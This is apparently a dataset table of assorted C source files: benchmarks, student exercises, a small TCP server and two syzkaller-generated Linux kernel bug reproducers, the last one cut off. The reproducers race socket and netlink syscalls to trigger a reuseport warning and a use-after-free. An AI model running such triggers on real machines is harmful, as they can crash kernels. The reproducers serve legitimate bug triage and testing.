file
stringlengths 18
26
| data
stringlengths 2
1.05M
|
|---|---|
the_stack_data/72011456.c | /******************************************************************************
* Filename: event.c
* Revised: 2016-09-19 10:36:17 +0200 (Mon, 19 Sep 2016)
* Revision: 47179
*
* Description: Driver for the Event Fabric.
*
* Copyright (c) 2015 - 2020, Texas Instruments Incorporated
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* 1) Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
*
* 2) Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
*
* 3) Neither the name of the ORGANIZATION nor the names of its contributors may
* be used to endorse or promote products derived from this software without
* specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*
******************************************************************************/
#include "event.h"
// See event.h for implementation
|
the_stack_data/11901.c | /*
* Whetstone benchmark in C. This program is a translation of the
* original Algol version in "A Synthetic Benchmark" by H.J. Curnow
* and B.A. Wichman in Computer Journal, Vol 19 #1, February 1976.
*
* Used to test compiler optimization and floating point performance.
*
* Compile by: cc -O -s -o whet whet.c
* or: cc -O -DPOUT -s -o whet whet.c
* if output is desired.
*/
#define ITERATIONS 10 /* 1 Million Whetstone instructions */
#include "math.h"
double x1, x2, x3, x4, x, y, z, t, t1, t2;
double e1[4];
int i, j, k, l, n1, n2, n3, n4, n6, n7, n8, n9, n10, n11;
main()
{
/* initialize constants */
t = 0.499975;
t1 = 0.50025;
t2 = 2.0;
/* set values of module weights */
n1 = 0 * ITERATIONS;
n2 = 12 * ITERATIONS;
n3 = 14 * ITERATIONS;
n4 = 345 * ITERATIONS;
n6 = 210 * ITERATIONS;
n7 = 32 * ITERATIONS;
n8 = 899 * ITERATIONS;
n9 = 616 * ITERATIONS;
n10 = 0 * ITERATIONS;
n11 = 93 * ITERATIONS;
/* MODULE 1: simple identifiers */
x1 = 1.0;
x2 = x3 = x4 = -1.0;
for(i = 1; i <= n1; i += 1) {
x1 = ( x1 + x2 + x3 - x4 ) * t;
x2 = ( x1 + x2 - x3 - x4 ) * t;
x3 = ( x1 - x2 + x3 + x4 ) * t;
x4 = (-x1 + x2 + x3 + x4 ) * t;
}
#ifdef POUT
pout(n1, n1, n1, x1, x2, x3, x4);
#endif
/* MODULE 2: array elements */
e1[0] = 1.0;
e1[1] = e1[2] = e1[3] = -1.0;
for (i = 1; i <= n2; i +=1) {
e1[0] = ( e1[0] + e1[1] + e1[2] - e1[3] ) * t;
e1[1] = ( e1[0] + e1[1] - e1[2] + e1[3] ) * t;
e1[2] = ( e1[0] - e1[1] + e1[2] + e1[3] ) * t;
e1[3] = (-e1[0] + e1[1] + e1[2] + e1[3] ) * t;
}
#ifdef POUT
pout(n2, n3, n2, e1[0], e1[1], e1[2], e1[3]);
#endif
/* MODULE 3: array as parameter */
for (i = 1; i <= n3; i += 1)
pa(e1);
#ifdef POUT
pout(n3, n2, n2, e1[0], e1[1], e1[2], e1[3]);
#endif
/* MODULE 4: conditional jumps */
j = 1;
for (i = 1; i <= n4; i += 1) {
if (j == 1)
j = 2;
else
j = 3;
if (j > 2)
j = 0;
else
j = 1;
if (j < 1 )
j = 1;
else
j = 0;
}
#ifdef POUT
pout(n4, j, j, x1, x2, x3, x4);
#endif
/* MODULE 5: omitted */
/* MODULE 6: integer arithmetic */
j = 1;
k = 2;
l = 3;
for (i = 1; i <= n6; i += 1) {
j = j * (k - j) * (l -k);
k = l * k - (l - j) * k;
l = (l - k) * (k + j);
e1[l - 2] = j + k + l; /* C arrays are zero based */
e1[k - 2] = j * k * l;
}
#ifdef POUT
pout(n6, j, k, e1[0], e1[1], e1[2], e1[3]);
#endif
/* MODULE 7: trig. functions */
x = y = 0.5;
for(i = 1; i <= n7; i +=1) {
x = t * atan(t2*sin(x)*cos(x)/(cos(x+y)+cos(x-y)-1.0));
y = t * atan(t2*sin(y)*cos(y)/(cos(x+y)+cos(x-y)-1.0));
}
#ifdef POUT
pout(n7, j, k, x, x, y, y);
#endif
/* MODULE 8: procedure calls */
x = y = z = 1.0;
for (i = 1; i <= n8; i +=1)
p3(x, y, &z);
#ifdef POUT
pout(n8, j, k, x, y, z, z);
#endif
/* MODULE9: array references */
j = 1;
k = 2;
l = 3;
e1[0] = 1.0;
e1[1] = 2.0;
e1[2] = 3.0;
for(i = 1; i <= n9; i += 1)
p0();
#ifdef POUT
pout(n9, j, k, e1[0], e1[1], e1[2], e1[3]);
#endif
/* MODULE10: integer arithmetic */
j = 2;
k = 3;
for(i = 1; i <= n10; i +=1) {
j = j + k;
k = j + k;
j = k - j;
k = k - j - j;
}
#ifdef POUT
pout(n10, j, k, x1, x2, x3, x4);
#endif
/* MODULE11: standard functions */
x = 0.75;
for(i = 1; i <= n11; i +=1)
x = sqrt( exp( log(x) / t1));
#ifdef POUT
pout(n11, j, k, x, x, x, x);
#endif
}
pa(e)
double e[4];
{
register int j;
j = 0;
lab:
e[0] = ( e[0] + e[1] + e[2] - e[3] ) * t;
e[1] = ( e[0] + e[1] - e[2] + e[3] ) * t;
e[2] = ( e[0] - e[1] + e[2] + e[3] ) * t;
e[3] = ( -e[0] + e[1] + e[2] + e[3] ) / t2;
j += 1;
if (j < 6)
goto lab;
}
p3(x, y, z)
double x, y, *z;
{
x = t * (x + y);
y = t * (x + y);
*z = (x + y) /t2;
}
p0()
{
e1[j] = e1[k];
e1[k] = e1[l];
e1[l] = e1[j];
}
#ifdef POUT
pout(n, j, k, x1, x2, x3, x4)
int n, j, k;
double x1, x2, x3, x4;
{
printf("%6d%6d%6d %5e %5e %5e %5e\n",
n, j, k, x1, x2, x3, x4);
}
#endif
|
the_stack_data/490861.c | // This is a personal academic project. Dear PVS-Studio, please check it.
// PVS-Studio Static Code Analyzer for C, C++ and C#: http://www.viva64.com
/* sampleCodeModule.c */
int main() {
return 0;
} |
the_stack_data/99605.c | #include <stdio.h>
#include <string.h>
#define WORDS "beast"
#define SIZE 40
int main(void){
const char * orig = WORDS;
char copy[SIZE] = "Be the best yaht you can be.";
char * ps;
puts(orig);
puts(copy);
ps = strcpy(copy + 7, orig);
puts(copy);
puts(ps);
return 0;
} |
the_stack_data/118889208.c | #include <stdio.h>
double powern(double d, unsigned n)
{
double x = 1.0;
unsigned j;
for (j = 1; j <= n; j++)
x *= d;
return x;
}
int main(int argc, char **argv)
{
double sum = 0.0;
unsigned i;
for (i = 1; i < 100000000; i++)
{
sum += powern(i, i % 5);
}
printf("sum = %g\n", sum);
return 0;
} |
the_stack_data/154828397.c | #include <sys/socket.h>
#include <sys/wait.h>
#include <stdio.h>
#include <netinet/in.h>
#include <unistd.h>
#include <stdlib.h>
#include <signal.h>
void daryl_dixon(int signal) {
wait(0);
printf("Дэрил Диксон убил зомби!\n");
}
int BuffWork(int sockClient) {
char buf[1024] = "";
while (1) {
int bytes_read = recv(sockClient, buf, 1024, 0);
if (bytes_read < 0) {
printf("Плохое получение дочерним процессом.\n");
exit(1);
} else if (bytes_read == 0) exit(1);
printf("Reciving massege: %s\n", buf);
printf("Send to client massege\n");
fflush(stdout);
}
}
int main() {
signal(SIGCHLD, daryl_dixon);
int sockServer, sockClient, child;
struct sockaddr_in servAddr;
sockServer = socket(AF_INET, SOCK_STREAM, 0);
if (sockServer < 0) {
printf("Сервер не может открыть sockServer :(");
exit(1);
}
servAddr.sin_family = AF_INET;
servAddr.sin_port = 0;
servAddr.sin_addr.s_addr = htonl(INADDR_ANY);
if (bind(sockServer, (struct sockaddr *) &servAddr, sizeof(servAddr)) < 0) {
printf("Связывание сервера неудачно");
exit(1);
}
socklen_t length = sizeof(servAddr);
if (getsockname(sockServer, (struct sockaddr *) &servAddr, &length)) {
printf("Вызов getsockname неудачен.");
exit(1);
}
printf("Сервер: номер порта - %d\n", ntohs(servAddr.sin_port));
listen(sockServer, 3);
while (1) {
sockClient = accept(sockServer, 0, 0);
if (sockClient < 0) {
printf("Неверный socket для клиента.\n");
exit(1);
}
child = fork();
if (child < 0) {
printf("Ошибка при порождении процесса\n");
exit(1);
}
if (child == 0) {
struct timeval tv;
tv.tv_sec = 2;
setsockopt(sockClient, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
close(sockServer);
BuffWork(sockClient);
close(sockClient);
exit(0);
}
close(sockClient);
}
}
|
the_stack_data/1006556.c | /**
* @file down.c Task to free elements from address table in reverse order.
* @brief Allocated memory stored in the 'addr' table are free'd in reverse order.
*
* @author George Heineman
* @date 6/15/08
*/
#include <stdlib.h>
/** Required code to populate addr table with appropriate number of allocated memory pointers */
extern void fillList();
/** Number of instances that were allocated. */
extern int numT;
/** The table of allocated memory. */
extern void *addr[];
/** Preprocess by populating the 'addr' table with all allocated memory. */
void prepareInput() {
fillList();
}
/** Task to execute is to release all memory in reverse order. */
void execute() {
int i;
for (i = numT-1; i >=0; i--) {
free (addr[i]);
addr[i] = NULL;
}
}
|
the_stack_data/1208988.c | #include<stdio.h>
int main (){
int n1,n2,n3;
scanf("%d %d %d",&n1,&n2,&n3);
if(n1<n2 && n1<n3){
printf("%d\n",n1);
if(n2<n3){
printf("%d\n",n2);
printf("%d\n",n3);
} else{
printf("%d\n",n3);
printf("%d\n",n2);
}
} else if(n2<n1 && n2<n3){
printf("%d\n",n2);
if(n1<n3){
printf("%d\n",n1);
printf("%d\n",n3);
}else{
printf("%d\n",n3);
printf("%d\n",n1);
}
}else{
printf("%d\n",n3);
if(n1<n2){
printf("%d\n",n1);
printf("%d\n",n2);
}else{
printf("%d\n",n2);
printf("%d\n",n1);
}
}
printf("\n%d\n",n1);
printf("%d\n",n2);
printf("%d\n",n3);
return 0;
}
|
the_stack_data/120932.c | #include <stdlib.h>
#include <stdio.h>
#include <stdbool.h>
#define BUF_SIZE 4
bool is_vowel(char c) {
/*
* Returns true if c is a vowel (upper or lower case), and
* false otherwise.
*/
if ((c == 'a' || c == 'e' || c == 'i' || c == 'o' || c == 'u' || c == 'A' || c == 'E' || c == 'I' || c == 'O' || c == 'U') == 1) {
return true;
}
return false;
}
int copy_non_vowels(int num_chars, char* in_buf, char* out_buf) {
/*
* Copy all the non-vowels from in_buf to out_buf.
* num_chars indicates how many characters are in in_buf,
* and this function should return the number of non-vowels that
* that were copied over.
*/
int counter = 0;
for (int i = 0; i < num_chars; i++)
{
if(in_buf[i + 1] == '\0' || in_buf[i + 1] == EOF){
// printf("it has a null terminator at: \n");
// printf("%d\n", i);
break;
}
if (!is_vowel(in_buf[i]))
{
// printf("%c\n",in_buf[i]);
out_buf[counter] = in_buf[i];
counter++;
}
}
// out_buf[counter] = '\0';
return counter;
}
void disemvowel(FILE* inputFile, FILE* outputFile) {
/*
* Copy all the non-vowels from inputFile to outputFile.
* Create input and output buffers, and use fread() to repeatedly read
* in a buffer of data, copy the non-vowels to the output buffer, and
* use fwrite to write that out.
*/
//buffer arrays
char buffer[BUF_SIZE];
char buffer2[BUF_SIZE];
//2 cases, with an output file and without an output file
if(inputFile && outputFile) {
//takes chunks of data and disemvowels them all seperately before writing them to the output file
while(fread(buffer,1,BUF_SIZE,inputFile) == BUF_SIZE) {
int final_size = copy_non_vowels(sizeof(buffer),buffer,buffer2);
fwrite(buffer2, 1, final_size, outputFile);
}
} else {
//takes chunks of data and disemvowels them all seperately before outputing them in standard out
while(fread(buffer,1,BUF_SIZE,inputFile) == BUF_SIZE) {
int final_size = copy_non_vowels(sizeof(buffer),buffer,buffer2);
fwrite(buffer2,1,final_size,stdout);
}
}
}
int main(int argc, char *argv[]) {
// Code that processes the command line arguments
// and sets up inputFile and outputFile.
FILE *inputFile = fopen(argv[1], "r");
FILE *outputFile;
//if there is a specified output file
if(argc == 3){
outputFile = fopen(argv[2], "w+");
}
//2 cases, with an input file and without an input file (takes from standard in if without input)
if(inputFile){
disemvowel(inputFile, outputFile);
} else {
disemvowel(stdin, outputFile);
}
if(inputFile) fclose(inputFile);
if(outputFile) fclose(outputFile);
return 0;
}
|
the_stack_data/41549.c | // This file is part of CPAchecker,
// a tool for configurable software verification:
// https://cpachecker.sosy-lab.org
//
// SPDX-FileCopyrightText: 2007-2021 Dirk Beyer <https://www.sosy-lab.org>
//
// SPDX-License-Identifier: Apache-2.0
extern int __VERIFIER_nondet_int(void);
int main() {
int a = 0;
while (__VERIFIER_nondet_int()) {
int b = 0;
int i = 0;
for (; i < 20; i++) {
b++;
}
//@ assert b == 20;
}
if (a != 10) ERROR: return 1;
return 0;
}
|
the_stack_data/165764322.c | #include <stdio.h>
#include<math.h>
int main ()
{
int a, b, c;
double s, area;
printf ("Enter the value of a= ");
scanf ("%d", &a);
printf ("Enter the value of b= ");
scanf ("%d", &b);
printf ("Enter the value of c= ");
scanf ("%d", &c);
s=(a+b+c)/2;
area=sqrt(s*(s-a)*(s-b)*(s-c));
printf ("\nThe area of the triangle is = %lf\n", area);
return 0;
}
|
the_stack_data/1090896.c | #include <stdio.h>
#include <math.h>
int main(void)
{
char ch;
printf("Do you want to:\nArea of either a Circle, Rectangle or Triangle\nEnter first letter: ");
ch = getchar();
if (ch == 'C') {
int r;
printf("Enter Circle Radius: ");
scanf("%d", &r);
printf("Area of circle is: %.2f\n", 3.1416*r*r);
}
else if (ch == 'R') {
int l, w;
printf("Enter Rectangle Length: ");
scanf("%d", &l);
printf("Enter Rectangle Width: ");
scanf("%d", &w);
printf("Area of rectangle is: %d\n", l*w);
}
else if (ch == 'T') {
int f, s, t;
printf("Enter First side: ");
scanf("%d", &f);
printf("Enter Second side: ");
scanf("%d", &s);
printf("Enter Third side: ");
scanf("%d", &t);
int p = (f+s+t) / 2;
printf("Area of triangle is: %.2lf\n", sqrt(p*(p-f)*(p-s)*(p-t)));
}
} |
the_stack_data/148370.c | // WARNING in reuseport_add_sock
// https://syzkaller.appspot.com/bug?id=250e1b7806d8a1b2d0357aa1da9847e5ada7cbbe
// status:fixed
// autogenerated by syzkaller (http://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <endian.h>
#include <linux/futex.h>
#include <pthread.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <sys/syscall.h>
#include <unistd.h>
static void test();
void loop()
{
while (1) {
test();
}
}
struct thread_t {
int created, running, call;
pthread_t th;
};
static struct thread_t threads[16];
static void execute_call(int call);
static int running;
static int collide;
static void* thr(void* arg)
{
struct thread_t* th = (struct thread_t*)arg;
for (;;) {
while (!__atomic_load_n(&th->running, __ATOMIC_ACQUIRE))
syscall(SYS_futex, &th->running, FUTEX_WAIT, 0, 0);
execute_call(th->call);
__atomic_fetch_sub(&running, 1, __ATOMIC_RELAXED);
__atomic_store_n(&th->running, 0, __ATOMIC_RELEASE);
syscall(SYS_futex, &th->running, FUTEX_WAKE);
}
return 0;
}
static void execute(int num_calls)
{
int call, thread;
running = 0;
for (call = 0; call < num_calls; call++) {
for (thread = 0; thread < sizeof(threads) / sizeof(threads[0]); thread++) {
struct thread_t* th = &threads[thread];
if (!th->created) {
th->created = 1;
pthread_attr_t attr;
pthread_attr_init(&attr);
pthread_attr_setstacksize(&attr, 128 << 10);
pthread_create(&th->th, &attr, thr, th);
}
if (!__atomic_load_n(&th->running, __ATOMIC_ACQUIRE)) {
th->call = call;
__atomic_fetch_add(&running, 1, __ATOMIC_RELAXED);
__atomic_store_n(&th->running, 1, __ATOMIC_RELEASE);
syscall(SYS_futex, &th->running, FUTEX_WAKE);
if (collide && call % 2)
break;
struct timespec ts;
ts.tv_sec = 0;
ts.tv_nsec = 20 * 1000 * 1000;
syscall(SYS_futex, &th->running, FUTEX_WAIT, 1, &ts);
if (running)
usleep((call == num_calls - 1) ? 10000 : 1000);
break;
}
}
}
}
long r[1];
void execute_call(int call)
{
switch (call) {
case 0:
syscall(__NR_mmap, 0x20000000, 0xfff000, 3, 0x32, -1, 0);
break;
case 1:
r[0] = syscall(__NR_socket, 2, 1, 0);
break;
case 2:
syscall(__NR_socket, 2, 1, 0);
break;
case 3:
*(uint32_t*)0x2056effc = 1;
syscall(__NR_setsockopt, r[0], 6, 0x13, 0x2056effc, 4);
break;
case 4:
*(uint32_t*)0x20f11000 = 0xffffff40;
syscall(__NR_setsockopt, r[0], 1, 0xf, 0x20f11000, 4);
break;
case 5:
*(uint16_t*)0x20e15000 = 2;
*(uint16_t*)0x20e15002 = htobe16(0x4e20);
*(uint32_t*)0x20e15004 = htobe32(0);
*(uint8_t*)0x20e15008 = 0;
*(uint8_t*)0x20e15009 = 0;
*(uint8_t*)0x20e1500a = 0;
*(uint8_t*)0x20e1500b = 0;
*(uint8_t*)0x20e1500c = 0;
*(uint8_t*)0x20e1500d = 0;
*(uint8_t*)0x20e1500e = 0;
*(uint8_t*)0x20e1500f = 0;
syscall(__NR_bind, r[0], 0x20e15000, 0x10);
break;
case 6:
*(uint16_t*)0x200a2000 = 1;
*(uint64_t*)0x200a2008 = 0x20f07000;
*(uint16_t*)0x20f07000 = 6;
*(uint8_t*)0x20f07002 = 0;
*(uint8_t*)0x20f07003 = 0;
*(uint32_t*)0x20f07004 = 0;
syscall(__NR_setsockopt, r[0], 1, 0x33, 0x200a2000, 0x10);
break;
case 7:
syscall(__NR_listen, r[0], 0);
break;
}
}
void test()
{
memset(r, -1, sizeof(r));
execute(8);
collide = 1;
execute(8);
}
int main()
{
for (;;) {
loop();
}
}
|
the_stack_data/67187.c | #include <stdio.h>
float income_tax(float income)
{
float tax;
if(income <= 750)
{
tax = income * 0.01f;
}
else if(income < 2250)
{
tax = 7.5f + (income * 0.02f);
}
else if(income < 3750)
{
tax = 37.5f + (income * 0.03f);
}
else if(income < 5250)
{
tax = 82.5f + (income * 0.04f);
}
else if(income < 7000)
{
tax = 142.5f + (income * 0.05f);
}
else
{
tax = 230 + (income * 0.06f);
}
return tax;
}
int main(void)
{
float income;
printf("Enter taxable income: ");
scanf("%f", &income);
printf("The tax due is: %.2f\n", income_tax(income));
return 0;
}
|
the_stack_data/9513075.c | #include <stdio.h>
#include <stdlib.h>
#include <limits.h>
int nthUglyNumber(int n) {
int *nums = (int*)malloc(n*sizeof(int));
int i2, i3, i5;
i2 = i3 = i5 = 0;
int i;
nums[0] = 1;
for (i=1; i<n; i++) {
int m2 = nums[i2] * 2;
int m3 = nums[i3] * 3;
int m5 = nums[i5] * 5;
int min = m2;
if (m3 < min) min = m3;
if (m5 < min) min = m5;
if (min == m2) i2++;
if (min == m3) i3++;
if (min == m5) i5++;
nums[i] = min;
}
int res = nums[n-1];
free(nums);
return res;
}
int main(int argc, char const *argv[])
{
int nth = 1600;
printf("%dth = %d\n", nth, nthUglyNumber(nth));
return 0;
}
|
the_stack_data/86749.c | // KASAN: use-after-free Read in __queue_work (3)
// https://syzkaller.appspot.com/bug?id=77e5e02c6c81136cdaff
// status:0
// autogenerated by syzkaller (https://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <dirent.h>
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <net/if.h>
#include <net/if_arp.h>
#include <netinet/in.h>
#include <pthread.h>
#include <sched.h>
#include <setjmp.h>
#include <signal.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/epoll.h>
#include <sys/ioctl.h>
#include <sys/mount.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/uio.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
#include <linux/capability.h>
#include <linux/futex.h>
#include <linux/genetlink.h>
#include <linux/if_addr.h>
#include <linux/if_ether.h>
#include <linux/if_link.h>
#include <linux/if_tun.h>
#include <linux/in6.h>
#include <linux/ip.h>
#include <linux/neighbour.h>
#include <linux/net.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <linux/tcp.h>
#include <linux/veth.h>
static unsigned long long procid;
static __thread int skip_segv;
static __thread jmp_buf segv_env;
static void segv_handler(int sig, siginfo_t* info, void* ctx)
{
uintptr_t addr = (uintptr_t)info->si_addr;
const uintptr_t prog_start = 1 << 20;
const uintptr_t prog_end = 100 << 20;
if (__atomic_load_n(&skip_segv, __ATOMIC_RELAXED) &&
(addr < prog_start || addr > prog_end)) {
_longjmp(segv_env, 1);
}
exit(sig);
}
static void install_segv_handler(void)
{
struct sigaction sa;
memset(&sa, 0, sizeof(sa));
sa.sa_handler = SIG_IGN;
syscall(SYS_rt_sigaction, 0x20, &sa, NULL, 8);
syscall(SYS_rt_sigaction, 0x21, &sa, NULL, 8);
memset(&sa, 0, sizeof(sa));
sa.sa_sigaction = segv_handler;
sa.sa_flags = SA_NODEFER | SA_SIGINFO;
sigaction(SIGSEGV, &sa, NULL);
sigaction(SIGBUS, &sa, NULL);
}
#define NONFAILING(...) \
{ \
__atomic_fetch_add(&skip_segv, 1, __ATOMIC_SEQ_CST); \
if (_setjmp(segv_env) == 0) { \
__VA_ARGS__; \
} \
__atomic_fetch_sub(&skip_segv, 1, __ATOMIC_SEQ_CST); \
}
static void sleep_ms(uint64_t ms)
{
usleep(ms * 1000);
}
static uint64_t current_time_ms(void)
{
struct timespec ts;
if (clock_gettime(CLOCK_MONOTONIC, &ts))
exit(1);
return (uint64_t)ts.tv_sec * 1000 + (uint64_t)ts.tv_nsec / 1000000;
}
static void use_temporary_dir(void)
{
char tmpdir_template[] = "./syzkaller.XXXXXX";
char* tmpdir = mkdtemp(tmpdir_template);
if (!tmpdir)
exit(1);
if (chmod(tmpdir, 0777))
exit(1);
if (chdir(tmpdir))
exit(1);
}
static void thread_start(void* (*fn)(void*), void* arg)
{
pthread_t th;
pthread_attr_t attr;
pthread_attr_init(&attr);
pthread_attr_setstacksize(&attr, 128 << 10);
int i;
for (i = 0; i < 100; i++) {
if (pthread_create(&th, &attr, fn, arg) == 0) {
pthread_attr_destroy(&attr);
return;
}
if (errno == EAGAIN) {
usleep(50);
continue;
}
break;
}
exit(1);
}
typedef struct {
int state;
} event_t;
static void event_init(event_t* ev)
{
ev->state = 0;
}
static void event_reset(event_t* ev)
{
ev->state = 0;
}
static void event_set(event_t* ev)
{
if (ev->state)
exit(1);
__atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000);
}
static void event_wait(event_t* ev)
{
while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
}
static int event_isset(event_t* ev)
{
return __atomic_load_n(&ev->state, __ATOMIC_ACQUIRE);
}
static int event_timedwait(event_t* ev, uint64_t timeout)
{
uint64_t start = current_time_ms();
uint64_t now = start;
for (;;) {
uint64_t remain = timeout - (now - start);
struct timespec ts;
ts.tv_sec = remain / 1000;
ts.tv_nsec = (remain % 1000) * 1000 * 1000;
syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, &ts);
if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
return 1;
now = current_time_ms();
if (now - start > timeout)
return 0;
}
}
static bool write_file(const char* file, const char* what, ...)
{
char buf[1024];
va_list args;
va_start(args, what);
vsnprintf(buf, sizeof(buf), what, args);
va_end(args);
buf[sizeof(buf) - 1] = 0;
int len = strlen(buf);
int fd = open(file, O_WRONLY | O_CLOEXEC);
if (fd == -1)
return false;
if (write(fd, buf, len) != len) {
int err = errno;
close(fd);
errno = err;
return false;
}
close(fd);
return true;
}
struct nlmsg {
char* pos;
int nesting;
struct nlattr* nested[8];
char buf[1024];
};
static struct nlmsg nlmsg;
static void netlink_init(struct nlmsg* nlmsg, int typ, int flags,
const void* data, int size)
{
memset(nlmsg, 0, sizeof(*nlmsg));
struct nlmsghdr* hdr = (struct nlmsghdr*)nlmsg->buf;
hdr->nlmsg_type = typ;
hdr->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | flags;
memcpy(hdr + 1, data, size);
nlmsg->pos = (char*)(hdr + 1) + NLMSG_ALIGN(size);
}
static void netlink_attr(struct nlmsg* nlmsg, int typ, const void* data,
int size)
{
struct nlattr* attr = (struct nlattr*)nlmsg->pos;
attr->nla_len = sizeof(*attr) + size;
attr->nla_type = typ;
memcpy(attr + 1, data, size);
nlmsg->pos += NLMSG_ALIGN(attr->nla_len);
}
static void netlink_nest(struct nlmsg* nlmsg, int typ)
{
struct nlattr* attr = (struct nlattr*)nlmsg->pos;
attr->nla_type = typ;
nlmsg->pos += sizeof(*attr);
nlmsg->nested[nlmsg->nesting++] = attr;
}
static void netlink_done(struct nlmsg* nlmsg)
{
struct nlattr* attr = nlmsg->nested[--nlmsg->nesting];
attr->nla_len = nlmsg->pos - (char*)attr;
}
static int netlink_send_ext(struct nlmsg* nlmsg, int sock, uint16_t reply_type,
int* reply_len)
{
if (nlmsg->pos > nlmsg->buf + sizeof(nlmsg->buf) || nlmsg->nesting)
exit(1);
struct nlmsghdr* hdr = (struct nlmsghdr*)nlmsg->buf;
hdr->nlmsg_len = nlmsg->pos - nlmsg->buf;
struct sockaddr_nl addr;
memset(&addr, 0, sizeof(addr));
addr.nl_family = AF_NETLINK;
unsigned n = sendto(sock, nlmsg->buf, hdr->nlmsg_len, 0,
(struct sockaddr*)&addr, sizeof(addr));
if (n != hdr->nlmsg_len)
exit(1);
n = recv(sock, nlmsg->buf, sizeof(nlmsg->buf), 0);
if (hdr->nlmsg_type == NLMSG_DONE) {
*reply_len = 0;
return 0;
}
if (n < sizeof(struct nlmsghdr))
exit(1);
if (reply_len && hdr->nlmsg_type == reply_type) {
*reply_len = n;
return 0;
}
if (n < sizeof(struct nlmsghdr) + sizeof(struct nlmsgerr))
exit(1);
if (hdr->nlmsg_type != NLMSG_ERROR)
exit(1);
return -((struct nlmsgerr*)(hdr + 1))->error;
}
static int netlink_send(struct nlmsg* nlmsg, int sock)
{
return netlink_send_ext(nlmsg, sock, 0, NULL);
}
static int netlink_next_msg(struct nlmsg* nlmsg, unsigned int offset,
unsigned int total_len)
{
struct nlmsghdr* hdr = (struct nlmsghdr*)(nlmsg->buf + offset);
if (offset == total_len || offset + hdr->nlmsg_len > total_len)
return -1;
return hdr->nlmsg_len;
}
static void netlink_add_device_impl(struct nlmsg* nlmsg, const char* type,
const char* name)
{
struct ifinfomsg hdr;
memset(&hdr, 0, sizeof(hdr));
netlink_init(nlmsg, RTM_NEWLINK, NLM_F_EXCL | NLM_F_CREATE, &hdr,
sizeof(hdr));
if (name)
netlink_attr(nlmsg, IFLA_IFNAME, name, strlen(name));
netlink_nest(nlmsg, IFLA_LINKINFO);
netlink_attr(nlmsg, IFLA_INFO_KIND, type, strlen(type));
}
static void netlink_add_device(struct nlmsg* nlmsg, int sock, const char* type,
const char* name)
{
netlink_add_device_impl(nlmsg, type, name);
netlink_done(nlmsg);
int err = netlink_send(nlmsg, sock);
(void)err;
}
static void netlink_add_veth(struct nlmsg* nlmsg, int sock, const char* name,
const char* peer)
{
netlink_add_device_impl(nlmsg, "veth", name);
netlink_nest(nlmsg, IFLA_INFO_DATA);
netlink_nest(nlmsg, VETH_INFO_PEER);
nlmsg->pos += sizeof(struct ifinfomsg);
netlink_attr(nlmsg, IFLA_IFNAME, peer, strlen(peer));
netlink_done(nlmsg);
netlink_done(nlmsg);
netlink_done(nlmsg);
int err = netlink_send(nlmsg, sock);
(void)err;
}
static void netlink_add_hsr(struct nlmsg* nlmsg, int sock, const char* name,
const char* slave1, const char* slave2)
{
netlink_add_device_impl(nlmsg, "hsr", name);
netlink_nest(nlmsg, IFLA_INFO_DATA);
int ifindex1 = if_nametoindex(slave1);
netlink_attr(nlmsg, IFLA_HSR_SLAVE1, &ifindex1, sizeof(ifindex1));
int ifindex2 = if_nametoindex(slave2);
netlink_attr(nlmsg, IFLA_HSR_SLAVE2, &ifindex2, sizeof(ifindex2));
netlink_done(nlmsg);
netlink_done(nlmsg);
int err = netlink_send(nlmsg, sock);
(void)err;
}
static void netlink_add_linked(struct nlmsg* nlmsg, int sock, const char* type,
const char* name, const char* link)
{
netlink_add_device_impl(nlmsg, type, name);
netlink_done(nlmsg);
int ifindex = if_nametoindex(link);
netlink_attr(nlmsg, IFLA_LINK, &ifindex, sizeof(ifindex));
int err = netlink_send(nlmsg, sock);
(void)err;
}
static void netlink_add_vlan(struct nlmsg* nlmsg, int sock, const char* name,
const char* link, uint16_t id, uint16_t proto)
{
netlink_add_device_impl(nlmsg, "vlan", name);
netlink_nest(nlmsg, IFLA_INFO_DATA);
netlink_attr(nlmsg, IFLA_VLAN_ID, &id, sizeof(id));
